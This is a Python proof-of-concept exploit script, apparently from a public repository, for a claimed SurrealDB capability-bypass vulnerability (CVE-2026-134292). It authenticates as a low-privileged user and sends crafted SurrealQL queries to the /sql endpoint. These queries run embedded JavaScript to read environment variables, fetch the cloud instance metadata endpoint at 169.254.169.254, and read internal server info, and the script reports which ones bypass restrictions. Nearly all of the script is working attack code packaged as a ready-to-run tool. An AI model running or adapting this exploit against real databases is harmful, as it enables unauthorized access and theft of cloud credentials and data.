# Archived for authorized security research only.
# Source: https://github.com/cveForge/CVE-2026-134292 (see README for attribution/license)
BANNER = """
[91m
  ██████╗██╗   ██╗███████╗███████╗ ██████╗ ██████╗  ██████╗ ███████╗
 ██╔════╝██║   ██║██╔════╝██╔════╝██╔═══██╗██╔══██╗██╔════╝ ██╔════╝
 ██║     ██║   ██║█████╗  █████╗  ██║   ██║██████╔╝██║  ███╗█████╗
 ██║     ╚██╗ ██╔╝██╔══╝  ██╔══╝  ██║   ██║██╔══██╗██║   ██║██╔══╝
 ╚██████╗ ╚████╔╝ ███████╗██║     ╚█████╔╝██║  ██║╚██████╔╝███████╗
  ╚═════╝  ╚═══╝  ╚══════╝╚═╝      ╚════╝ ╚═╝  ╚═╝ ╚═════╝ ╚══════╝
[0m
[93m  CVE-2026-134292 — SurrealDB Capability Restriction Bypass[0m
[90m  CVSS 9.8 | CRITICAL | CWE-863 | SurrealDB[0m
"""

VERSION = "1.0.0"

import requests
import argparse
import sys
import json

def exploit(target: str, user: str, password: str) -> None:
    """
    CVE-2026-134292 — SurrealDB Capability Restriction Bypass (CWE-863)
    SurrealDB capability checks can be bypassed by crafting specific SurrealQL
    queries that exploit logical flaws in the authorization evaluation, allowing
    low-privileged users to access data or functions restricted by capabilities.
    """
    print(BANNER)
    print(f"[*] Target   : {target}")
    print(f"[*] User     : {user}")

    # Sign in to get a session token
    signin_url = f"{target.rstrip('/')}/signin"
    signin_body = {"user": user, "pass": password}
    try:
        sr = requests.post(signin_url, json=signin_body, timeout=10, verify=False)
        if sr.status_code != 200:
            print(f"[-] Sign-in failed: {sr.status_code} — {sr.text[:100]}")
            sys.exit(1)
        token = sr.json().get("token", "")
        print(f"[+] Authenticated — token obtained")

        headers = {
            "Authorization": f"Bearer {token}",
            "Content-Type": "application/json",
            "NS": "test",
            "DB": "test",
        }

        # Bypass: use scripting functions that should be blocked by capabilities
        bypass_queries = [
            # Should be restricted by --deny-scripting capability
            "RETURN function() { return $env['PATH']; }();",
            # Should be restricted by --deny-net capability
            "RETURN http::get('http://169.254.169.254/latest/meta-data/');",
            # Sensitive system access that should require explicit allow
            "SELECT * FROM type::thing('_surrealdb', 'info');",
        ]
        url = f"{target.rstrip('/')}/sql"
        for q in bypass_queries:
            resp = requests.post(url, data=q, headers=headers, timeout=10, verify=False)
            result = resp.json() if resp.headers.get("content-type","").startswith("application/json") else resp.text
            status_indicator = "[+] BYPASSED" if resp.status_code == 200 else "[-] Blocked"
            print(f"{status_indicator} | Query: {q[:60]}")
            if resp.status_code == 200:
                print(f"    Response: {str(result)[:200]}")
    except requests.RequestException as e:
        print(f"[-] Connection error: {e}")
        sys.exit(1)

def main() -> None:
    parser = argparse.ArgumentParser(description="CVE-2026-134292 PoC — SurrealDB Capability Bypass")
    parser.add_argument("target",   help="SurrealDB URL, e.g. http://localhost:8000")
    parser.add_argument("user",     help="SurrealDB username")
    parser.add_argument("password", help="SurrealDB password")
    args = parser.parse_args()
    exploit(args.target, args.user, args.password)

if __name__ == "__main__":
    main()
